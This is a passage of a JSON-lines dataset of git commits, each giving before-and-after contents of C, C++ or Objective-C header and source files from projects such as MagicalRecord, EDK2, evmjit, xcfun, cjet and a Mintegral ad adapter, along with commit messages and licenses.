shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","new_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@protocol MagicalRecordDataImportProtocol <NSObject>\n\n@optional\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImport) <MagicalRecordDataImportProtocol>\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n","subject":"Move the import controls into a formal protocol","message":"Move the import controls into a formal protocol\n","lang":"C","license":"mit","repos":"naqi\/MagicalRecord,naqi\/MagicalRecord"}
{"commit":"1c27f926c130284b022501596399205b8c8e4b23","old_file":"UefiCpuPkg\/Include\/AcpiCpuData.h","new_file":"UefiCpuPkg\/Include\/AcpiCpuData.h","old_contents":"","new_contents":"\/** @file\r\nDefinitions for CPU S3 data.\r\n\r\nCopyright (c) 2013 - 2015, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _ACPI_CPU_DATA_H_\r\n#define _ACPI_CPU_DATA_H_\r\n\r\n\/\/\r\n\/\/ Register types in register table\r\n\/\/\r\ntypedef enum _REGISTER_TYPE {\r\n  Msr,\r\n  ControlRegister,\r\n  MemoryMapped,\r\n  CacheControl\r\n} REGISTER_TYPE;\r\n\r\n\/\/\r\n\/\/ Element of register table entry\r\n\/\/\r\ntypedef struct {\r\n  REGISTER_TYPE RegisterType;\r\n  UINT32        Index;\r\n  UINT8         ValidBitStart;\r\n  UINT8         ValidBitLength;\r\n  UINT64        Value;\r\n} CPU_REGISTER_TABLE_ENTRY;\r\n\r\n\/\/\r\n\/\/ Register table definition, including current table length,\r\n\/\/ allocated size of this table, and pointer to the list of table entries.\r\n\/\/\r\ntypedef struct {\r\n  UINT32                   TableLength;\r\n  UINT32                   NumberBeforeReset;\r\n  UINT32                   AllocatedSize;\r\n  UINT32                   InitialApicId;\r\n  CPU_REGISTER_TABLE_ENTRY *RegisterTableEntry;\r\n} CPU_REGISTER_TABLE;\r\n\r\ntypedef struct {\r\n  EFI_PHYSICAL_ADDRESS  StartupVector;\r\n  EFI_PHYSICAL_ADDRESS  GdtrProfile;\r\n  EFI_PHYSICAL_ADDRESS  IdtrProfile;\r\n  EFI_PHYSICAL_ADDRESS  StackAddress;\r\n  UINT32                StackSize;\r\n  UINT32                NumberOfCpus;\r\n  EFI_PHYSICAL_ADDRESS  MtrrTable;\r\n  \/\/\r\n  \/\/ Physical address of a CPU_REGISTER_TABLE structure\r\n  \/\/\r\n  EFI_PHYSICAL_ADDRESS  PreSmmInitRegisterTable;\r\n  \/\/\r\n  \/\/ Physical address of a CPU_REGISTER_TABLE structure\r\n  \/\/\r\n  EFI_PHYSICAL_ADDRESS  RegisterTable;\r\n  EFI_PHYSICAL_ADDRESS  ApMachineCheckHandlerBase;\r\n  UINT32                ApMachineCheckHandlerSize;\r\n} ACPI_CPU_DATA;\r\n\r\n#endif\r\n","subject":"Add ACPI CPU Data include file","message":"UefiCpuPkg: Add ACPI CPU Data include file\n\nAdd AcpuCpuData.h that defines a data structure that is shared between\nmodules and is required for ACPI S3 support.\nAPState field removed between V1 and V2 patch.\n\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Michael Kinney <michael.d.kinney@intel.com>\nCc: Laszlo Ersek <lersek@redhat.com>\n\nReviewed-by: Laszlo Ersek <lersek@redhat.com>\nReviewed-by: Jeff Fan <jeff.fan@intel.com>\n\ngit-svn-id: 3158a46dfd52e07d1fda3e32e1ab2e353a00b20f@18642 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"669cbb41fab72b377fffd64f9ef0171fe13c5834","old_file":"cleanup.h","new_file":"cleanup.h","old_contents":"\/\/\/ \n\/\/\/ \\file cleanup.h\n\/\/\/ \\brief Functions to clean up memory\n\/\/\/ \\defgroup cleanup Memory Cleanup\n\/\/\/ \\brief Frees memory before loading\n\/\/\/ @{\n\/\/\/ \n#ifndef UVL_CLEANUP\n#define UVL_CLEANUP\n\n#include \"types.h\"\n\nint uvl_cleanup_memory ();\nint uvl_unload_all_modules ();\n\n#endif\n\/\/\/ @}\n","new_contents":"\/\/\/ \n\/\/\/ \\file cleanup.h\n\/\/\/ \\brief Functions to clean up memory\n\/\/\/ \\defgroup cleanup Memory Cleanup\n\/\/\/ \\brief Frees memory before loading\n\/\/\/ @{\n\/\/\/ \n#ifndef UVL_CLEANUP\n#define UVL_CLEANUP\n\n#include \"types.h\"\n\nint uvl_cleanup_memory ();\nint uvl_unload_all_modules();\nvoid uvl_pre_clean();\n\n#endif\n\/\/\/ @}\n","subject":"Fix a warning about implicit function declaration.","message":"Fix a warning about implicit function declaration.\n","lang":"C","license":"apache-2.0","repos":"MrNetrix\/UVLoader,yifanlu\/UVLoader,yifanlu\/UVLoader,MrNetrix\/UVLoader"}
{"commit":"0602fcde6e03bc08b0a333b291d8fe45cb4f56e3","old_file":"libevmjit\/Utils.h","new_file":"libevmjit\/Utils.h","old_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\t#define DLOG(CHANNEL) true ? std::cerr : std::cerr\n#endif\n","new_contents":"#pragma once\n\n#include <iostream>\n\n\/\/ The same as assert, but expression is always evaluated and result returned\n#define CHECK(expr) (assert(expr), expr)\n\n#if !defined(NDEBUG) \/\/ Debug\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstd::ostream& getLogStream(char const* _channel);\n\n}\n}\n\n#define DLOG(CHANNEL) ::dev::evmjit::getLogStream(#CHANNEL)\n\n#else \/\/ Release\n\nnamespace dev\n{\nnamespace evmjit\n{\n\nstruct Voider\n{\n\tvoid operator=(std::ostream const&) {}\n};\n\n}\n}\n\n\n#define DLOG(CHANNEL) true ? (void)0 : ::dev::evmjit::Voider{} = std::cerr\n\n#endif\n","subject":"Reimplement no-op version of DLOG to avoid C++ compiler warning","message":"Reimplement no-op version of DLOG to avoid C++ compiler warning\n","lang":"C","license":"mit","repos":"LefterisJP\/webthree-umbrella,LefterisJP\/webthree-umbrella,smartbitcoin\/cpp-ethereum,vaporry\/cpp-ethereum,johnpeter66\/ethminer,expanse-project\/cpp-expanse,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,gluk256\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,arkpar\/webthree-umbrella,expanse-project\/cpp-expanse,yann300\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,anthony-cros\/cpp-ethereum,d-das\/cpp-ethereum,xeddmc\/cpp-ethereum,vaporry\/evmjit,vaporry\/cpp-ethereum,smartbitcoin\/cpp-ethereum,gluk256\/cpp-ethereum,karek314\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,LefterisJP\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,vaporry\/webthree-umbrella,yann300\/cpp-ethereum,joeldo\/cpp-ethereum,d-das\/cpp-ethereum,joeldo\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,d-das\/cpp-ethereum,joeldo\/cpp-ethereum,programonauta\/webthree-umbrella,xeddmc\/cpp-ethereum,ethers\/cpp-ethereum,anthony-cros\/cpp-ethereum,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,anthony-cros\/cpp-ethereum,chfast\/webthree-umbrella,vaporry\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,johnpeter66\/ethminer,PaulGrey30\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,yann300\/cpp-ethereum,expanse-org\/cpp-expanse,smartbitcoin\/cpp-ethereum,ethers\/cpp-ethereum,LefterisJP\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,programonauta\/webthree-umbrella,d-das\/cpp-ethereum,vaporry\/cpp-ethereum,vaporry\/evmjit,joeldo\/cpp-ethereum,expanse-project\/cpp-expanse,d-das\/cpp-ethereum,subtly\/cpp-ethereum-micro,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,anthony-cros\/cpp-ethereum,expanse-org\/cpp-expanse,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,LefterisJP\/cpp-ethereum,yann300\/cpp-ethereum,karek314\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,expanse-org\/cpp-expanse,karek314\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,xeddmc\/cpp-ethereum,subtly\/cpp-ethereum-micro,expanse-project\/cpp-expanse,d-das\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,eco\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/cpp-ethereum,anthony-cros\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,eco\/cpp-ethereum,eco\/cpp-ethereum,vaporry\/cpp-ethereum,subtly\/cpp-ethereum-micro,subtly\/cpp-ethereum-micro,gluk256\/cpp-ethereum,LefterisJP\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,eco\/cpp-ethereum,karek314\/cpp-ethereum,johnpeter66\/ethminer,smartbitcoin\/cpp-ethereum,karek314\/cpp-ethereum,yann300\/cpp-ethereum,expanse-org\/cpp-expanse,subtly\/cpp-ethereum-micro,gluk256\/cpp-ethereum,expanse-project\/cpp-expanse,ethers\/cpp-ethereum,gluk256\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,gluk256\/cpp-ethereum,joeldo\/cpp-ethereum,ethers\/cpp-ethereum,xeddmc\/cpp-ethereum,LefterisJP\/cpp-ethereum,smartbitcoin\/cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,anthony-cros\/cpp-ethereum"}
{"commit":"4f78441af442507e2496e40d7f150934bc984d8b","old_file":"linkedLists\/linked_lists_test.c","new_file":"linkedLists\/linked_lists_test.c","old_contents":"\/\/tests for linked lists tasks from the \"Cracking The Coding Interview\".\n\n#include <assert.h>\n#include <stdbool.h>\n\nint main()\n{\n    assert(false && \"First unit test\");\n    return 0;\n}\n","new_contents":"\/\/tests for linked lists tasks from the \"Cracking The Coding Interview\".\n\n#include <assert.h>\n#include <stdbool.h>\n#include \"..\/..\/c_double_linked_list\/double_linked_list.h\"\n\nint main()\n{\n    struct Node* h = initHeadNode(0);\n    printList(h);\n    clear(h);\n    \n    return 0;\n}\n","subject":"Add simple test (proof of working) for double linked list api.","message":"Add simple test (proof of working) for double linked list api.\n","lang":"C","license":"bsd-3-clause","repos":"MikhSol\/crackingTheCodingInterviewC"}
{"commit":"91f7575783f81b3f4816ff06f0755f77c7870309","old_file":"src\/functionals\/pbec_eps.h","new_file":"src\/functionals\/pbec_eps.h","old_contents":"","new_contents":"#ifndef PBEC_EPS_H\n#define PBEC_EPS_H\n\n#include \"functional.h\"\n#include \"constants.h\"\n#include \"pw92eps.h\"\n#include \"vwn.h\"\n\nnamespace pbec_eps\n{\n  template<class num, class T>\n  static num A(const num &eps, const T &u3)\n  {\n    using xc_constants::param_beta_gamma;\n    using xc_constants::param_gamma;\n    return param_beta_gamma\/expm1(-eps\/(param_gamma*u3));\n  }\n\n  template<class num, class T>\n  static num H(const num &d2, const num &eps, const T &u3)\n  {\n    num d2A = d2*A(eps,u3);\n    using xc_constants::param_gamma;\n    using xc_constants::param_beta_gamma;\n    return param_gamma*u3*\n      log(1+param_beta_gamma*d2*(1 + d2A)\/(1+d2A*(1+d2A)));\n  }\n\n  \/\/ This is [(1+zeta)^(2\/3) + (1-zeta)^(2\/3)]\/2, reorganized.\n  template<class num>\n  static num phi(const densvars<num> &d)\n  {\n    return pow(2.0,-1.0\/3.0)*d.n_m13*d.n_m13*(sqrt(d.a_43)+sqrt(d.b_43));\n  }\n\n  template<class num>\n  static num pbec_eps(const densvars<num> &d)\n  {\n    num eps = pw92eps::pw92eps(d);\n    num u = phi(d);\n    \/\/ Avoiding the square root of d.gnn here\n    num d2 = pow(1.0\/12*pow(3,5.0\/6.0)\/pow(M_PI,-1.0\/6),2)*\n      d.gnn\/(u*u*pow(d.n,7.0\/3.0));\n    return (eps + H(d2,eps,pow3(u)));\n  }\n\n  template<class num>\n  static num pbec_eps_polarized(const num &a, const num &gaa)\n  {\n    num eps = pw92eps::pw92eps_polarized(a);\n    parameter u = pow(2.0,-1.0\/3.0); \/\/phi(d) for alpha or beta density =0\n    \n    \/\/ Avoiding the square root of d.gnn here\n    num d2 = pow(1.0\/12*pow(3,5.0\/6.0)\/pow(M_PI,-1.0\/6),2)*\n      gaa\/(u*u*pow(a,7.0\/3.0));\n    return (eps + H(d2,eps,pow3(u)));\n  }\n\n\n}\n\n#endif\n","subject":"Add forgotten PBE epsilon header.","message":"Add forgotten PBE epsilon header.\n","lang":"C","license":"mpl-2.0","repos":"bast\/xcfun,robertodr\/xcfun,bast\/xcfun,bast\/xcfun,robertodr\/xcfun,robertodr\/xcfun,robertodr\/xcfun,dftlibs\/xcfun,bast\/xcfun,dftlibs\/xcfun,dftlibs\/xcfun,dftlibs\/xcfun"}
{"commit":"15f9ff29c88bec7fd0488013ed0168a091ed139a","old_file":"src\/win32\/jet_endian_win.c","new_file":"src\/win32\/jet_endian_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <stdint.h>\n#include <winsock2.h>\n\n#include \"jet_endian.h\"\n\nuint16_t jet_be16toh(uint16_t big_endian_16bits)\n{\n\treturn ntohs(big_endian_16bits);\n}\n\nuint32_t jet_be32toh(uint32_t big_endian_32bits)\n{\n\treturn ntohl(big_endian_32bits);\n}\n\nuint64_t jet_be64toh(uint64_t big_endian_64bits)\n{\n\treturn ntohll(big_endian_64bits);\n}\n\nuint16_t jet_htobe16(uint16_t host_endian_16bits)\n{\n\treturn htons(host_endian_16bits);\n}\n\nuint32_t jet_htobe32(uint32_t host_endian_32bits)\n{\n\treturn htonl(host_endian_32bits);\n}\n\nuint64_t jet_htobe64(uint64_t host_endian_64bits)\n{\n\treturn htonll(host_endian_64bits);\n}\n","subject":"Add endianess conversion functions for windows.","message":"Add endianess conversion functions for windows.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"10ca149c4add37f104200e33271d826460f8964b","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k3\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k4\"\n","subject":"Update driver version to 5.04.00-k4","message":"[SCSI] qla4xxx: Update driver version to 5.04.00-k4\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"7d4c665aff3750a072ca2cf3e36b862f7668e3c8","old_file":"Glitter\/Sources\/Engine\/Base\/Common\/Common.h","new_file":"Glitter\/Sources\/Engine\/Base\/Common\/Common.h","old_contents":"","new_contents":"#pragma once\n\n\/\/ Branch prediction hints\n#define LIKELY(condition) __builtin_expect(static_cast<bool>(condition), 1)\n#define UNLIKELY(condition) __builtin_expect(static_cast<bool>(condition), 0)","subject":"Add common header - just has branch prediction hint macros for now","message":"Add common header - just has branch prediction hint macros for now\n","lang":"C","license":"mit","repos":"minimumcut\/UnnamedEngine,minimumcut\/UnnamedEngine"}
{"commit":"1cb1819cbae564c8a3bda066c73987368e921ac9","old_file":"src\/api\/add.h","new_file":"src\/api\/add.h","old_contents":"#ifndef CTF_ADD_H\n#define CTF_ADD_H\n\n#include <sys\/queue.h>\n#include <sys\/stddef.h>\n\n#include \"file\/errors.h\"\n\n#define _CTF_ADD_PROTO(FUNCTION_NAME, OBJECT_TYPE, VALUE_TYPE) \\\nint \\\nFUNCTION_NAME (OBJECT_TYPE object, VALUE_TYPE value);\n\n#define _CTF_ADD_IMPL(FUNCTION_NAME, OBJECT_TYPE, VALUE_TYPE, LIST_NAME, \\\n  LIST_ENTRY_NAME) \\\nint \\\nFUNCTION_NAME (OBJECT_TYPE object, VALUE_TYPE value) \\\n{ \\\n\tif (object != NULL) \\\n\t{ \\\n\t\tif (object->LIST_NAME != NULL) \\\n\t\t{ \\\n\t\t\tTAILQ_INSERT_TAIL(object->LIST_NAME, value, LIST_ENTRY_NAME); \\\n\t\t\treturn CTF_OK; \\\n\t\t} \\\n\t\telse \\\n\t\t\treturn CTF_E_NULL; \\\n\t} \\\n\telse \\\n\t\treturn CTF_E_NULL; \\\n}\n\n#endif\n\n","new_contents":"#ifndef CTF_ADD_H\n#define CTF_ADD_H\n\n#include <sys\/queue.h>\n#include <sys\/stddef.h>\n\n#include \"file\/errors.h\"\n\n#define _CTF_ADD_PROTO(FUNCTION_NAME, OBJECT_TYPE, VALUE_TYPE) \\\nint \\\nFUNCTION_NAME (OBJECT_TYPE object, VALUE_TYPE value);\n\n#define _CTF_ADD_IMPL(FUNCTION_NAME, OBJECT_TYPE, VALUE_TYPE, LIST_NAME, \\\n  LIST_ENTRY_NAME, LIST_COUNTER) \\\nint \\\nFUNCTION_NAME (OBJECT_TYPE object, VALUE_TYPE value) \\\n{ \\\n\tif (object != NULL) \\\n\t{ \\\n\t\tif (object->LIST_NAME != NULL) \\\n\t\t{ \\\n\t\t\tTAILQ_INSERT_TAIL(object->LIST_NAME, value, LIST_ENTRY_NAME); \\\n\t\t\tobject->LIST_COUNTER++; \\\n\t\t\treturn CTF_OK; \\\n\t\t} \\\n\t\telse \\\n\t\t\treturn CTF_E_NULL; \\\n\t} \\\n\telse \\\n\t\treturn CTF_E_NULL; \\\n}\n\n#endif\n\n","subject":"Add API increments count variable","message":"Add API increments count variable\n","lang":"C","license":"bsd-2-clause","repos":"lovasko\/libctf,lovasko\/libctf"}
{"commit":"f37546c433f29d3f0b7d1dd0461729df18597cee","old_file":"solutions\/uri\/1017\/1017.c","new_file":"solutions\/uri\/1017\/1017.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    float h, s;\n\n    scanf(\"%f\", &h);\n    scanf(\"%f\", &s);\n\n    printf(\"%.3f\\n\", h * s \/ 12.0);\n}\n","subject":"Solve Fuel Spent in c","message":"Solve Fuel Spent in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"becd309739fcd9e9f6fecdeb0ccf5cac3523caee","old_file":"adapters\/Mintegral\/MintegralAdapter\/GADMediationAdapterMintegralConstants.h","new_file":"adapters\/Mintegral\/MintegralAdapter\/GADMediationAdapterMintegralConstants.h","old_contents":"\/\/ Copyright 2022 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ Mintegral mediation adapter version.\nstatic NSString *const GADMAdapterMintegralVersion = @\"7.2.1.0\";\n\n\/\/\/ Mintegral mediation adapter Mintegral App ID parameter key.\nstatic NSString *const GADMAdapterMintegralAppID = @\"app_id\";\n\n\/\/\/ Mintegral mediation adapter Mintegral App Key parameter key.\nstatic NSString *const GADMAdapterMintegralAppKey = @\"app_key\";\n\n\/\/\/ Mintegral mediation adapter Ad Unit ID parameter key.\nstatic NSString *const GADMAdapterMintegralAdUnitID = @\"ad_unit_id\";\n\n\/\/\/ Mintegral mediation adapter Ad Placement ID parameter key.\nstatic NSString *const GADMAdapterMintegralPlacementID = @\"placement_id\";\n\n\/\/\/ Mintegral adapter error domain.\nstatic NSString *const GADMAdapterMintegralErrorDomain = @\"com.google.mediation.mintegral\";\n","new_contents":"\/\/ Copyright 2022 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ Mintegral mediation adapter version.\nstatic NSString *const GADMAdapterMintegralVersion = @\"7.2.4.0\";\n\n\/\/\/ Mintegral mediation adapter Mintegral App ID parameter key.\nstatic NSString *const GADMAdapterMintegralAppID = @\"app_id\";\n\n\/\/\/ Mintegral mediation adapter Mintegral App Key parameter key.\nstatic NSString *const GADMAdapterMintegralAppKey = @\"app_key\";\n\n\/\/\/ Mintegral mediation adapter Ad Unit ID parameter key.\nstatic NSString *const GADMAdapterMintegralAdUnitID = @\"ad_unit_id\";\n\n\/\/\/ Mintegral mediation adapter Ad Placement ID parameter key.\nstatic NSString *const GADMAdapterMintegralPlacementID = @\"placement_id\";\n\n\/\/\/ Mintegral adapter error domain.\nstatic NSString *const GADMAdapterMintegralErrorDomain = @\"com.google.mediation.mintegral\";\n","subject":"Modify the adapter version number.","message":"Modify the adapter version number.\n","lang":"C","license":"apache-2.0","repos":"googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation"}
{"commit":"bc65ee3b42944d7f36645334ca083a6d82eda6f9","old_file":"src\/lib\/ldm.h","new_file":"src\/lib\/ldm.h","old_contents":"\/*\n * This file is part of linux-driver-management.\n *\n * Copyright © 2016-2017 Ikey Doherty\n *\n * linux-driver-management is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#include <manager.h>\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","new_contents":"\/*\n * This file is part of linux-driver-management.\n *\n * Copyright © 2016-2017 Ikey Doherty\n *\n * linux-driver-management is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1\n * of the License, or (at your option) any later version.\n *\/\n\n#pragma once\n\n#include <device.h>\n#include <manager.h>\n\n\/*\n * Editor modelines  -  https:\/\/www.wireshark.org\/tools\/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: nil\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 expandtab:\n * :indentSize=8:tabSize=8:noTabs=true:\n *\/\n","subject":"Include device in the LDM headers","message":"Include device in the LDM headers\n\nSigned-off-by: Ikey Doherty <d8d992cf0016e35c2a8339d5e7d44bebd12a2d77@solus-project.com>\n","lang":"C","license":"lgpl-2.1","repos":"solus-project\/linux-driver-management,solus-project\/linux-driver-management"}
{"commit":"8d873ed8fa874802c30983001bb10366c7f13401","old_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_macros.h","new_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_macros.h","old_contents":"\/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n\/**\n* Header file containing strided array macros.\n*\/\n#ifndef STDLIB_STRIDED_MACROS_H\n#define STDLIB_STRIDED_MACROS_H\n\n#include \"strided_nullary_macros.h\"\n#include \"strided_unary_macros.h\"\n#include \"strided_binary_macros.h\"\n#include \"strided_ternary_macros.h\"\n#include \"strided_quaternary_macros.h\"\n#include \"strided_quinary_macros.h\"\n\n#endif \/\/ !STDLIB_STRIDED_MACROS_H\n","new_contents":"\/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy 